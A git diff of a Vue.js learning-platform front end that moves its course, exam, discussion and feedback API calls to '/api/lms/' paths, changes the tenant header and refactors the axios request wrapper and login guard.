}
if (__.live && __.live.id) {
__.live.live_status = parseInt(__.live.live_status)
let str = ''
switch (__.live.live_status) {
case 0: str = '直播未开始'; break
......@@ -316,7 +317,7 @@ export default class PlayerAction extends BaseACTION {
attrs: {
multiple: true,
headers: {
tenant: 'sofia'
tenant: 'kelley'
}
},
html: `
......@@ -376,7 +377,7 @@ export default class PlayerAction extends BaseACTION {
attrs: {
multiple: true,
headers: {
tenant: 'sofia'
tenant: 'kelley'
}
},
html: `
......
......@@ -4,11 +4,11 @@ export default class AffairsAPI extends BaseAPI {
/**
* 获取事务类型
*/
getAffairsType = () => this.get('/v2/lobby/affairs')
getAffairsType = () => this.get('/api/lms/v2/lobby/affairs')
/**
* 获取事务类型
*/
getAffairsData = (obj = {}) => this.get('/v2/lobby/processes', obj)
getAffairsData = (obj = {}) => this.get('/api/lms/v2/lobby/processes', obj)
/**
* 提交活动申请
* affair_id 活动名称
......@@ -20,13 +20,15 @@ export default class AffairsAPI extends BaseAPI {
* symposium_lecturer
* 返回 {'flag' : true, 'errors' : []}
*/
submitLearning = (obj = {}) => this.post('/v2/lobby/processes', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
submitLearning = (obj = {}) => this.post('/api/lms/v2/lobby/processes', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/* 删除事务 */
deleteAffairs = (reid) => this.delete(`/v2/lobby/processes/${reid}`, {})
deleteAffairs = (reid) => this.delete(`/api/lms/v2/lobby/processes/${reid}`, {})
/* 获取事务详情 */
getAffairsDetails = (rid) => this.get(`/v2/lobby/processes/${rid}`, {})
getAffairsDetails = (rid) => this.get(`/api/lms/v2/lobby/processes/${rid}`, {})
/* 修改事务 */
updateAffairs = (rid, obj = {}) => this.post(`/v2/lobby/processes/${rid}`, obj, { headers: { 'Content-Type': 'multipart/form-data' } })
updateAffairs = (rid, obj = {}) => this.post(`/api/lms/v2/lobby/processes/${rid}`, obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/* 重修图片提交 */
uploadFile = (obj = {}) => this.post('/v2/lobby/tools/upload', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
uploadFile = (obj = {}) => this.post('/api/lms/v2/lobby/tools/upload', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/* 获取成绩单 */
obtainReport = (type) => this.get(`/api/lms/v2/lobby/havereport?type=${type}`, {})
}
import axios from 'axios'
import _ from 'lodash'
import qs from 'qs'
import { MessageBox, Message } from 'element-ui'
export default class API {
constructor (config) {
constructor(config) {
/* 创建一个 自定义配置axios实例 */
// 让ajax携带cookie
axios.defaults.withCredentials = true
......@@ -24,34 +25,25 @@ export default class API {
}
/* 获取当前Vue创建实例 */
getVueInstance () {
getVueInstance() {
return window.G.$instance_vue
}
/* 重新封装 请求时的执行函数 */
_request (_config = {}) {
_request(_config = {}) {
/* 具体执行请求成功后业务逻辑前,先执行该方法 */
const beforeSuccess = _config.beforeSuccess ? _config.beforeSuccess : this._reqSuccess
/* 具体执行请求失败后业务逻辑前,先执行该方法 */
const beforeFail = _config.beforeFail ? _config.beforeFail : this._reqFail
const headers = {
tenant: 'kelley',
version: window.G.VERSION
version: window.G.VERSION,
'Content-Type': 'application/x-www-form-urlencoded'
}
_config.headers = _.assignIn(_config.headers, headers)
_config.headers = _.assignIn(headers, _config.headers)
/* 判别 传输方式 */
if (_config.headers['Content-Type'] === 'application/x-www-form-urlencoded') {
let str = ''
const _obj = _config.data || _config.params
for (const key in _obj) {
str += key + '=' + _obj[key] + '&'
}
str = str.substr(0, str.length - 1)
if (_config.data) {
_config.data = str
} else {
_config.params = str
}
_config.data = qs.stringify(_config.data)
}
if (_config.headers['Content-Type'] === 'multipart/form-data') {
let fr = new FormData() // eslint-disable-line
......@@ -62,11 +54,10 @@ export default class API {
_config.data = fr
}
/* 创建并根据参数发起请求 */
return this._axios(_config)
.then(beforeSuccess.bind(this), beforeFail.bind(this))
return this._axios(_config).then(beforeSuccess.bind(this), beforeFail.bind(this))
}
setConfirm (titleStr, btnStr, msgStr) {
setConfirm(titleStr, btnStr, msgStr) {
return MessageBox.confirm(msgStr, titleStr, {
confirmButtonText: btnStr,
type: 'warning',
......@@ -77,12 +68,15 @@ export default class API {
})
}
goLoginIndex (_vIn) {
goLoginIndex(_vIn) {
const href = window.location.href
if (/\/login\/index/gi.test(href)) {
_vIn.$router.go(0)
} else {
_vIn.$router.push({ path: '/login/index?rd=' + encodeURIComponent(href.replace(/.*?\/\/.*?\//gi, '/')) })
_vIn.$router.push({
path: '/login/index?rd=' + encodeURIComponent(href.replace(/.*?\/\/.*?\//gi, '/'))
})
// window.location.href = `${webConf.others.loginUrl}'?rd=${encodeURIComponent(window.location.href)}`
}
}
......@@ -91,35 +85,15 @@ export default class API {
* 注意:如果不能满足需求,可在接口定义处重新实现
* @param {[object]} res 返回数据
*/
_reqSuccess (res) {
const _vIn = this.getVueInstance()
const { status, data } = res
if (status === 200) {
/* 针对 不同的 接口做一下 统一处理 */
_reqSuccess(res) {
const { data } = res
/* 带 code 参数,新接口模型 */
if (data && data.code !== undefined) {
if (data.code !== 0) {
if (!/account\/get-user-info/gi.test(res.config.url)) {
if (data.code !== undefined) {
if (data.code !== 0 && !/getinfo$/gi.test(res.config.url)) {
data.msg && Message({ type: 'error', message: data.msg })
}
return data
} else if (data.code === 0) {
return data.data
}
}
return data
} else if (status === 403 && !/\/getinfo$/gi.test(res.config.url)) {
/* 不带 code 参数,老接口模型 */
this.setConfirm('提示', '确定', '登录状态已过期, 请重新登录。').then(() => {
this.goLoginIndex(_vIn)
}).catch(() => {
Message({ type: 'info', message: '操作已取消,将不再记录任何数据操作,除非重新登录' })
})
} else if (status !== 200 && data.message) {
throw new Error(data.message)
} else {
throw new Error(JSON.stringify(res.data))
}
}
/**
......@@ -127,28 +101,32 @@ export default class API {
* 注意:如果不能满足需求,可在接口定义处重新实现
* @param {[object]} res 如果未到达 response 阶段,则无res.response
*/
_reqFail (res) {
_reqFail(res) {
const _vIn = this.getVueInstance()
let err = null
if (res.code === 'ECONNABORTED') {
err = new Error('网络超时,请稍后重试')
} else if (res.response) {
const { status, data } = res.response
/* 不带 code 参数,老接口模型 */
if (res.response.data) {
if (!/\/getinfo$/gi.test(res.config.url) && res.response.status === 403) {
this.setConfirm('提示', '确定', '登录状态已过期, 请重新登录。').then(() => {
if (data) {
if (status === 403 && !/getinfo$/gi.test(res.config.url)) {
this.setConfirm('提示', '确定', '登录状态已过期, 请重新登录。')
.then(() => {
this.goLoginIndex(_vIn)
}).catch(() => {
Message({ type: 'info', message: '已取消,将不再记录任何数据操作,除非重新登录' })
})
}
} else if (res.response.status === 401) {
this.setConfirm('提示', '关闭', res.response.data.message).then(() => {
_vIn.$router.go(0)
.catch(() => {
Message({
type: 'info',
message: '已取消,将不再记录任何数据操作,除非重新登录'
})
})
} else if (status === 401) {
this.setConfirm('提示', '关闭', data.message).then(() => {})
}
}
err = new Error(res.response.data.message || JSON.stringify(res.response.data))
err.code = res.response.data.code
err = new Error(data.message || JSON.stringify(data))
err.code = data.code
} else {
err = new Error('msg:' + res.message + 'stack:' + res.stack)
err.code = 500
......@@ -158,11 +136,22 @@ export default class API {
}
/* 重新实现 get请求 */
get (url, data, config) { return this._request(_.assignIn({ url, method: 'GET', params: data }, config)) }
get(url, data, config) {
return this._request(_.assignIn({ url, method: 'GET', params: data }, config))
}
/* 重新实现 post请求 */
post (url, data, config) { return this._request(_.assignIn({ url, method: 'POST', data: data }, config)) }
post(url, data, config) {
return this._request(_.assignIn({ url, method: 'POST', data: data }, config))
}
/* 重新实现 put请求 */
put (url, data, config) { return this._request(_.assignIn({ url, method: 'PUT', data: data }, config)) }
put(url, data, config) {
return this._request(_.assignIn({ url, method: 'PUT', data: data }, config))
}
/* 重新实现 delete请求 */
delete (url, data, config) { return this._request(_.assignIn({ url, method: 'DELETE', params: data }, config)) }
delete(url, data, config) {
return this._request(_.assignIn({ url, method: 'DELETE', params: data }, config))
}
}
......@@ -4,35 +4,35 @@ export default class CourseAPI extends BaseAPI {
/**
* 获取学期分类信息
*/
getLearnFind = () => this.get('/v2/education/semesters', {})
getLearnFind = () => this.get('/api/lms/v2/education/semesters', {})
/**
* 获取所有课程列表 - 选课广场 和 我的课程 共用同一个,通过 isMy判断
* @param {[string]} isMy
* @param {[object]} param
*/
getCourseList = (isMy, param) => this.get('/v2/education/courses' + (isMy ? '/my' : ''), param)
getCourseList = (isMy, param) => this.get('/api/lms/v2/education/courses' + (isMy ? '/my' : ''), param)
/**
* 获取某个课程详细信息 - 课程考核 和 课程讨论单独获取
* @param {[string]} id
* @param {[string]} sid
*/
getCourseDetail = (id, sid) => this.get(`/v2/education/courses/${sid}/${id}`, {})
getCourseDetail = (id, sid) => this.get(`/api/lms/v2/education/courses/${sid}/${id}`, {})
/**
* 获取课程考核信息
* @param {[string]} cid
* @param {[string]} sid
*/
getCourseAssess = (cid, sid) => this.get(`/v2/analytics/courses/${sid}/${cid}/evaluation`, {})
getCourseAssess = (cid, sid) => this.get(`/api/lms/v2/analytics/courses/${sid}/${cid}/evaluation`, {})
/**
* 选课
* @param {[string]} cid
* @param {[string]} sid
*/
selectCourse = (cid, sid) => this.post('/v2/education/courses/major', { course_id: cid, semester_id: sid }, { headers: { 'Content-Type': 'application/json' } })
selectCourse = (cid, sid) => this.post('/api/lms/v2/education/courses/major', { course_id: cid, semester_id: sid }, { headers: { 'Content-Type': 'application/json' } })
/**
* 退课
* @param {[string]} cid
* @param {[string]} sid
*/
outSelectCourse = (cid, sid) => this.post('/v2/education/courses/drop', { course_id: cid, semester_id: sid }, { headers: { 'Content-Type': 'application/json' } })
outSelectCourse = (cid, sid) => this.post('/api/lms/v2/education/courses/drop', { course_id: cid, semester_id: sid }, { headers: { 'Content-Type': 'application/json' } })
}
......@@ -8,7 +8,7 @@ export default class DiscussAPI extends BaseAPI {
* @param {[string]} path
* @param {[object]} dataJson
*/
getDiscussList = (path, dataJson) => this.get('/v2/qa/questions' + path, dataJson)
getDiscussList = (path, dataJson) => this.get('/api/lms/v2/qa/questions' + path, dataJson)
/**
* 获取讨论题目列表,“课程的问题”信息
* dataJson.limit - 获取数量
......@@ -18,50 +18,50 @@ export default class DiscussAPI extends BaseAPI {
* @param {[string]} sid
* @param {[object]} dataJson
*/
getCourseDiscussList = (cid, sid, dataJson) => this.get(`/v2/qa/questions/course/${sid}/${cid}`, dataJson)
getCourseDiscussList = (cid, sid, dataJson) => this.get(`/api/lms/v2/qa/questions/course/${sid}/${cid}`, dataJson)
/**
* 获取问题详情
* @param {[string]} qid
*/
getDiscussDetail = (qid) => this.get(`/v2/qa/questions/${qid}`, {})
getDiscussDetail = (qid) => this.get(`/api/lms/v2/qa/questions/${qid}`, {})
/**
* 删除提问
* @param {[string]} qid
*/
deleteDiscuss = (qid) => this.delete(`/v2/qa/questions/${qid}`, {})
deleteDiscuss = (qid) => this.delete(`/api/lms/v2/qa/questions/${qid}`, {})
/**
* 提出问题
* @param {[object]} param
*/
publishQues = (param) => this.post('/v2/qa/questions', param, { headers: { 'Content-Type': 'application/json' } })
publishQues = (param) => this.post('/api/lms/v2/qa/questions', param, { headers: { 'Content-Type': 'application/json' } })
/**
* 回答问题
* @param {[object]} param
*/
answerQues = (param) => this.post('/v2/qa/answers', param, { headers: { 'Content-Type': 'application/json' } })
answerQues = (param) => this.post('/api/lms/v2/qa/answers', param, { headers: { 'Content-Type': 'application/json' } })
/**
* 删除回答
* @param {[string]} aid
*/
deleteAnswer = (aid) => this.delete(`/v2/qa/answers/${aid}`, {})
deleteAnswer = (aid) => this.delete(`/api/lms/v2/qa/answers/${aid}`, {})
/**
* 回复评论
* @param {[object]} param
*/
callbackComment = (param) => this.post('/v2/qa/comments', param, { headers: { 'Content-Type': 'application/json' } })
callbackComment = (param) => this.post('/api/lms/v2/qa/comments', param, { headers: { 'Content-Type': 'application/json' } })
/**
* 删除评论
* @param {[string]} cid
*/
deleteComment = (cid) => this.delete(`/v2/qa/comments/${cid}`)
deleteComment = (cid) => this.delete(`/api/lms/v2/qa/comments/${cid}`)
/**
* 点赞
* @param {[object]} param
*/
like = (param) => this.post('/v2/qa/tags', param, { headers: { 'Content-Type': 'application/json' } })
like = (param) => this.post('/api/lms/v2/qa/tags', param, { headers: { 'Content-Type': 'application/json' } })
/**
* 取消点赞
* @param {[string]} tagid
*/
unlike = (tagid) => this.delete(`/v2/qa/tags/${tagid}`, {})
unlike = (tagid) => this.delete(`/api/lms/v2/qa/tags/${tagid}`, {})
}
......@@ -4,22 +4,22 @@ export default class FeedbackAPI extends BaseAPI {
/**
* 提交 重修课程
*/
submitRebuild = (obj = {}) => this.post('/v2/education/retake', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
submitRebuild = (obj = {}) => this.post('/api/lms/v2/education/retake', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/**
* 获取意见列表
* type_id [int]
* page [int]
* pageSize [int]
*/
feedbackList = (obj = {}) => this.get('/v2/feedback/lists', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
feedbackList = (obj = {}) => this.get('/api/lms/v2/feedback/lists', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/**
* 意见反馈回复
* feedback_id [int]
* contents [string]
*/
feedbackReply = (obj = {}) => this.post('/v2/feedback/reply', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
feedbackReply = (obj = {}) => this.post('/api/lms/v2/feedback/reply', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/**
* 意见反馈提交
*/
feedbackCommit = (obj = {}) => this.post('/v2/feedback/commit', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
feedbackCommit = (obj = {}) => this.post('/api/lms/v2/feedback/commit', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
}
......@@ -4,26 +4,26 @@ export default class GradeAPI extends BaseAPI {
/**
* 获取我的学分信息
*/
getCredit = () => this.get('/v2/education/credits', {})
getCredit = () => this.get('/api/lms/v2/education/credits', {})
/**
* 提交 重修课程
*/
submitRebuild = (obj = {}) => this.post('/v2/education/retake', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
submitRebuild = (obj = {}) => this.post('/api/lms/v2/education/retake', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/**
* 获取意见列表
* type_id [int]
* page [int]
* pageSize [int]
*/
feedbackList = (obj = {}) => this.get('/v2/feedback/lists', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
feedbackList = (obj = {}) => this.get('/api/lms/v2/feedback/lists', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/**
* 意见反馈回复
* feedback_id [int]
* contents [string]
*/
feedbackReply = (obj = {}) => this.post('/v2/feedback/reply', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
feedbackReply = (obj = {}) => this.post('/api/lms/v2/feedback/reply', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/**
* 意见反馈提交
*/
feedbackCommit = (obj = {}) => this.post('/v2/feedback/commit', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
feedbackCommit = (obj = {}) => this.post('/api/lms/v2/feedback/commit', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
}
......@@ -5,30 +5,52 @@ export default class OtherAPI extends BaseAPI {
/**
* 当前登录用户,检测是否该系统有权限
*/
getInfo = () => this.post('/user_center/get_user_info', {}, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
getInfo = () => this.get('/api/lms/user/getinfo')
/**
* 获取我的消息信息
*/
getMyMsg = (obj) => this.get('/v2/education/message/my', obj, {})
getMyMsg = (obj) => this.get('/api/lms/v2/education/message/my', obj, {})
/**
* 标记已读未读
*/
setMyMsg = (rid) => this.post(`/v2/education/message/${rid}`, {})
getNavMsg = (rid) => this.get(`/v2/education/message/num?v=${new Date().getTime()}`, {})
setMyMsg = (rid) => this.post(`/api/lms/v2/education/message/${rid}`, {})
getNavMsg = (rid) =>
this.get(`/api/lms/v2/education/message/num?v=${new Date().getTime()}`, {})
/**
* 调用退出登录
*/
outLogin = () => this.post('/user_center/logout', {}, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
outLogin = () => this.get('/api/passport/rest/logout')
/**
* 文件提交
* @param {[object]} obj
*/
uploadFile = (obj = {}) => this.post('/util/upload-file', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
uploadFile = (obj = {}) =>
this.post('/api/lms/util/upload-file', obj, {
headers: { 'Content-Type': 'multipart/form-data' }
})
/**
* 个人信息 - 修改密码
* @param {[string]} obj.old_password 验证码
* @param {[string]} obj.new_password 新的密码
* @param {[string]} obj.service 这里 一直是定值 h5.ezijing.com
*/
updatePwd = (obj = {}) => this.post('/user_center/change_password', _.assignIn(obj, { service: 'h5.ezijing.com' }), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
updatePwd = (obj = {}) =>
this.post(
'/api/usercenter/user/change-pwd-by-cookie',
_.assignIn(obj, { service: 'h5.ezijing.com' }),
{ headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }
)
/**
* 个人信息 - 上传头像
*/
updateUser = (obj = {}) =>
this.post('/api/usercenter/user/update-user', obj, {
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
})
}
......@@ -7,24 +7,24 @@ export default class PlayerAPI extends BaseAPI {
* @param {[string]} cur_semester_id -> sid
* @param {[string]} cur_video_id -> vid
*/
getChapterList = (cid, sid, vid) => this.get(`/v2/education/courses/${sid}/${cid}`, {})
getChapterList = (cid, sid, vid) => this.get(`/api/lms/v2/education/courses/${sid}/${cid}`, {})
/**
* 获取对应某个章节的详细信息
* @param {[string]} vid
*/
getCurrentChapterDetail = (vid) => this.post('/v2/education/video-streaming', { vid }, { headers: { 'Content-Type': 'application/json' } })
getCurrentChapterDetail = (vid) => this.post('/api/lms/v2/education/video-streaming', { vid }, { headers: { 'Content-Type': 'application/json' } })
/**
* 获取对应某个章节的详细信息
* @param {[string]} vid
*/
getCurrentChapterDetailAliyun = (vid) => this.post('/v2/education/aliyun-video-streaming', { vid }, { headers: { 'Content-Type': 'application/json' } })
getCurrentChapterDetailAliyun = (vid) => this.post('/api/lms/v2/education/aliyun-video-streaming', { vid }, { headers: { 'Content-Type': 'application/json' } })
/**
* 获取进度信息
* @param {[string]} vid
* @param {[string]} did
* @param {[string]} sid
*/
getProgress = (vid, did, sid) => this.get(`/v2/education/video/${sid}/${vid}/device`, { device_id: did })
getProgress = (vid, did, sid) => this.get(`/api/lms/v2/education/video/${sid}/${vid}/device`, { device_id: did })
/**
* 提交进度信息
* @param {[object]} obj
......@@ -37,66 +37,66 @@ export default class PlayerAPI extends BaseAPI {
_m: obj.mpt, // 当前播放最大时间
_c: obj.cpt // 当前播放位置
*/
updateProgress = (obj = {}) => this.get('/v2/analytics/upload-video', obj)
updateProgress = (obj = {}) => this.get('/api/lms/v2/analytics/upload-video', obj)
/**
* 获取试题信息
* @param {[string]} eid
* @param {[string]} cid
* @param {[string]} sid
*/
getExamDetail = (sid, cid, eid) => this.get(`/v2/education/homeworks/${sid}/${cid}/${eid}`, {})
getExamDetail = (sid, cid, eid) => this.get(`/api/lms/v2/education/homeworks/${sid}/${cid}/${eid}`, {})
/**
* 提交考试信息
* @param {[object]} param
*/
submitExamDetail = (param) => this.post('/v2/education/homeworks', param, { headers: { 'Content-Type': 'application/json' } })
submitExamDetail = (param) => this.post('/api/lms/v2/education/homeworks', param, { headers: { 'Content-Type': 'application/json' } })
/**
* 获取对应 作业或问题 回答
* @param {[string]} sid
* @param {[string]} cid
* @param {[string]} id resource_id
*/
getHomework = (sid, cid, id) => this.get(`/v2/education/homeworks/${sid}/${cid}/${id}`, {})
getHomework = (sid, cid, id) => this.get(`/api/lms/v2/education/homeworks/${sid}/${cid}/${id}`, {})
/**
* 文件提交
* @param {[object]} obj
*/
uploadFile = (obj = {}) => this.post('/util/upload-file', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
uploadFile = (obj = {}) => this.post('/api/lms/util/upload-file', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/**
* 提交课程 作业或问题
*/
updateHomework = (obj = {}) => this.post('/v2/education/homeworks', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
updateHomework = (obj = {}) => this.post('/api/lms/v2/education/homeworks', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/**
* 课程作业截止时间
*/
getHomeworkStopTime = (sid, cid, chapterId) => this.get(`/v2/education/homeworks/${sid}/${cid}/${chapterId}/deadline`, {})
getHomeworkStopTime = (sid, cid, chapterId) => this.get(`/api/lms/v2/education/homeworks/${sid}/${cid}/${chapterId}/deadline`, {})
/**
* 获取对应 大作业 回答
* @param {[string]} sid
* @param {[string]} cid
*/
getCourseHomework = (sid, cid) => this.get(`/v2/education/courses/${sid}/${cid}/essay`, {})
getCourseHomework = (sid, cid) => this.get(`/api/lms/v2/education/courses/${sid}/${cid}/essay`, {})
/**
* 提交课程 大作业
* @param {[string]} sid
* @param {[string]} cid
*/
updateCourseHomework = (sid, cid, obj = {}) => this.post(`/v2/education/courses/${sid}/${cid}/essay`, obj, { headers: { 'Content-Type': 'multipart/form-data' } })
updateCourseHomework = (sid, cid, obj = {}) => this.post(`/api/lms/v2/education/courses/${sid}/${cid}/essay`, obj, { headers: { 'Content-Type': 'multipart/form-data' } })
/**
* 提交 课程考核
* @param {[string]} obj.sid
* @param {[string]} obj.cid
* @param {[string]} obj.raw (base64)
*/
updateSurveyAnswer = (obj) => this.post('/v2/education/survey/answer', obj, { headers: { 'Content-Type': 'application/json' } })
updateSurveyAnswer = (obj) => this.post('/api/lms/v2/education/survey/answer', obj, { headers: { 'Content-Type': 'application/json' } })
/**
* 手机端 获取实时最新直播接口
*/
getNewLiveMsg = (obj = {}) => this.get('/v2/education/lives/latest', obj)
getNewLiveMsg = (obj = {}) => this.get('/api/lms/v2/education/lives/latest', obj)
/**
* 手机端 获取列表接口
*/
getLiveList = (obj = {}) => this.get('/v2/education/lives/courses', obj)
getLiveList = (obj = {}) => this.get('/api/lms/v2/education/lives/courses', obj)
/**
* 跨域接口请求 - 直接获取云课堂设置
*/
......@@ -106,21 +106,21 @@ export default class PlayerAPI extends BaseAPI {
* @param {[string]} course_id -> cid
* @param {[string]} semester_id -> sid
*/
getExamInfo = (cid, sid) => this.get(`/v2/education/${sid}/${cid}/examination`, {})
getExamInfo = (cid, sid) => this.get(`/api/lms/v2/education/${sid}/${cid}/examination`, {})
/**
* 获取考卷结果
* @param {[string]} course_id -> cid
* @param {[string]} semester_id -> sid
* @param {[string]} exam_id -> eid
*/
getExamAnswer = (cid, sid, eid, obj = {}) => this.get(`/v2/education/${sid}/${cid}/examination/${eid}/sheet`, obj)
getExamAnswer = (cid, sid, eid, obj = {}) => this.get(`/api/lms/v2/education/${sid}/${cid}/examination/${eid}/sheet`, obj)
/**
* 获取考试状态
* @param {[string]} course_id -> cid
* @param {[string]} semester_id -> sid
* @param {[string]} exam_id -> eid
*/
getExamStatus = (cid, sid, eid) => this.get(`/v2/education/${sid}/${cid}/examination/${eid}/status`, {})
getExamStatus = (cid, sid, eid) => this.get(`/api/lms/v2/education/${sid}/${cid}/examination/${eid}/status`, {})
/**
* 提交考卷
* @param {[string]} course_id -> cid
......@@ -128,5 +128,5 @@ export default class PlayerAPI extends BaseAPI {
* @param {[string]} exam_id -> eid
* @param {[object]} obj -> 提交对象类
*/
submitExam = (cid, sid, eid, obj = {}) => this.post(`/v2/education/${sid}/${cid}/examination/${eid}/sheet`, obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
submitExam = (cid, sid, eid, obj = {}) => this.post(`/api/lms/v2/education/${sid}/${cid}/examination/${eid}/sheet`, obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
}
......@@ -4,11 +4,11 @@ export default class ReportAPI extends BaseAPI {
/**
* 获取所有通过报告列表
*/
getReportList = () => this.get('/v2/education/symposium-report-all', {})
getReportList = () => this.get('/api/lms/v2/education/symposium-report-all', {})
/**
* 获取我的学术活动
*/
getReportActiveList = () => this.get('/v2/education/symposium/my', {})
getReportActiveList = () => this.get('/api/lms/v2/education/symposium/my', {})
/**
* 提交活动申请
* symposium_name 活动名称
......@@ -19,53 +19,53 @@ export default class ReportAPI extends BaseAPI {
* symposium_address 活动地点
* 返回 {'flag' : true, 'errors' : []}
*/
submitReportActive = (obj = {}) => this.post('/v2/education/symposium', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
submitReportActive = (obj = {}) => this.post('/api/lms/v2/education/symposium', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/**
* 获取学术活动详情
*/
getReportActive = (rid) => this.get(`/v2/education/symposium/${rid}`, {})
getReportActive = (rid) => this.get(`/api/lms/v2/education/symposium/${rid}`, {})
/**
* 修改活动申请
* 参数同上
*/
updateReportActive = (rid, obj = {}) => this.post(`/v2/education/symposium/${rid}`, obj, { headers: { 'Content-Type': 'application/json' } })
updateReportActive = (rid, obj = {}) => this.post(`/api/lms/v2/education/symposium/${rid}`, obj, { headers: { 'Content-Type': 'application/json' } })
/**
* 删除活动申请
* 参数同上
*/
deleteReportActive = rid => this.delete(`/v2/education/symposium/${rid}`, {})
deleteReportActive = rid => this.delete(`/api/lms/v2/education/symposium/${rid}`, {})
/**
* 获取活动相关的学术报告
*/
getReportListAll = (rid) => this.get(`/v2/education/symposium/${rid}/report`, {})
getReportListAll = (rid) => this.get(`/api/lms/v2/education/symposium/${rid}/report`, {})
/**
* 提交学术报告
* report_name 报告名称
* report_description 报告描述
* file_url 文章URL
*/
submitReport = (rid, obj = {}) => this.post(`/v2/education/symposium/${rid}/report`, obj, { headers: { 'Content-Type': 'application/json' } })
submitReport = (rid, obj = {}) => this.post(`/api/lms/v2/education/symposium/${rid}/report`, obj, { headers: { 'Content-Type': 'application/json' } })
/**
* 获取学术报告详情
*/
getSubmitReport = (rid, reid) => this.get(`/v2/education/symposium/report/${reid}`, {})
getSubmitReport = (rid, reid) => this.get(`/api/lms/v2/education/symposium/report/${reid}`, {})
/**
* 更新学术报告
*/
updateSubmitReport = (rid, reid, obj = {}) => this.post(`/v2/education/symposium/${rid}/report/${reid}`, obj)
updateSubmitReport = (rid, reid, obj = {}) => this.post(`/api/lms/v2/education/symposium/${rid}/report/${reid}`, obj)
/**
* 删除学术报告
* 参数同上
*/
deleteSubmitReport = (rid, reid) => this.delete(`/v2/education/symposium/report/${reid}`, {})
deleteSubmitReport = (rid, reid) => this.delete(`/api/lms/v2/education/symposium/report/${reid}`, {})
/**
* 获取事务类型
*/
getAffairsType = () => this.get('/v2/lobby/affairs')
getAffairsType = () => this.get('/api/lms/v2/lobby/affairs')
/**
* 获取事务类型
*/
getAffairsData = (obj = {}) => this.get('/v2/lobby/processes', obj)
getAffairsData = (obj = {}) => this.get('/api/lms/v2/lobby/processes', obj)
/**
* 提交活动申请
* affair_id 活动名称
......@@ -77,13 +77,13 @@ export default class ReportAPI extends BaseAPI {
* symposium_lecturer
* 返回 {'flag' : true, 'errors' : []}
*/
submitLearning = (obj = {}) => this.post('/v2/lobby/processes', obj)
submitLearning = (obj = {}) => this.post('/api/lms/v2/lobby/processes', obj)
/* 删除事务 */
deleteAffairs = (reid) => this.delete(`/v2/lobby/processes/${reid}`, {})
deleteAffairs = (reid) => this.delete(`/api/lms/v2/lobby/processes/${reid}`, {})
/* 获取事务详情 */
getAffairsDetails = (rid) => this.get(`/v2/lobby/processes/${rid}`, {})
getAffairsDetails = (rid) => this.get(`/api/lms/v2/lobby/processes/${rid}`, {})
/* 修改事务 */
updateAffairs = (rid, obj = {}) => this.post(`/v2/lobby/processes/${rid}`, obj)
updateAffairs = (rid, obj = {}) => this.post(`/api/lms/v2/lobby/processes/${rid}`, obj)
/* 重修图片提交 */
uploadFile = (obj = {}) => this.post('/v2/lobby/tools/upload', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
uploadFile = (obj = {}) => this.post('/api/lms/v2/lobby/tools/upload', obj, { headers: { 'Content-Type': 'multipart/form-data' } })
}
import cAction from '@action'
import { Message } from 'element-ui'
export default class Before {
constructor(opt) {
const UA = navigator.userAgent
this.opt = opt || {}
// 免登录列表
this.whiteList = [
'login-normal',
'login-code',
'login-forget',
'studentHelp',
'teacherHelp'
]
this.isMobile = /android|iphone|ipod/i.test(UA)
this.whiteList = ['login-normal', 'login-code', 'login-forget', 'studentHelp', 'teacherHelp']
this.isMobile = /android|iphone|ipad|ipod/i.test(UA)
}
async update(to, from, next) {
......@@ -30,6 +22,7 @@ export default class Before {
path: '/login/index',
query: { rd: encodeURIComponent(to.fullPath) }
})
// window.location.href = `${webConf.others.loginUrl}?rd=${encodeURIComponent(window.location.href)}`
return
}
// 移动端
......@@ -44,14 +37,15 @@ export default class Before {
isLogin() {
if (window.G.UserInfo) return true
return cAction.Other.getInfo()
.then((res) => {
.then(res => {
if (res.id) {
window.G.UserInfo = res
return true
})
.catch((res) => {
if (res.code !== 80201) {
Message({ type: 'error', message: res.message })
} else {
return false
}
})
.catch(() => {
return false
})
}
......
......@@ -6,7 +6,7 @@
<li class="tabs-hd">{{item.name}}</li>
<template v-for="(item1, index1) in item.arrItem">
<li v-bind:key="index1">
<div :class="['tab', (item.selectIndex == index1 ? 'on' : '')]" @click="selFindSelect" :data-index='index1' :data-i="index" :data-key='item.key' :data-val='item1.val'>{{item1.name}}</div>
<div :class="['tab', (item.selectIndex == index1 ? 'on' : '')]" @click="selFindSelect($event, item1)" :data-index='index1' :data-i="index" :data-key='item.key' :data-val='item1.val'>{{item1.name}}</div>
</li>
</template>
</ul>
......@@ -39,7 +39,7 @@ export default {
}
},
methods: {
selFindSelect (e) {
selFindSelect (e, item) {
const _data = e.currentTarget.dataset
const index = _data.index
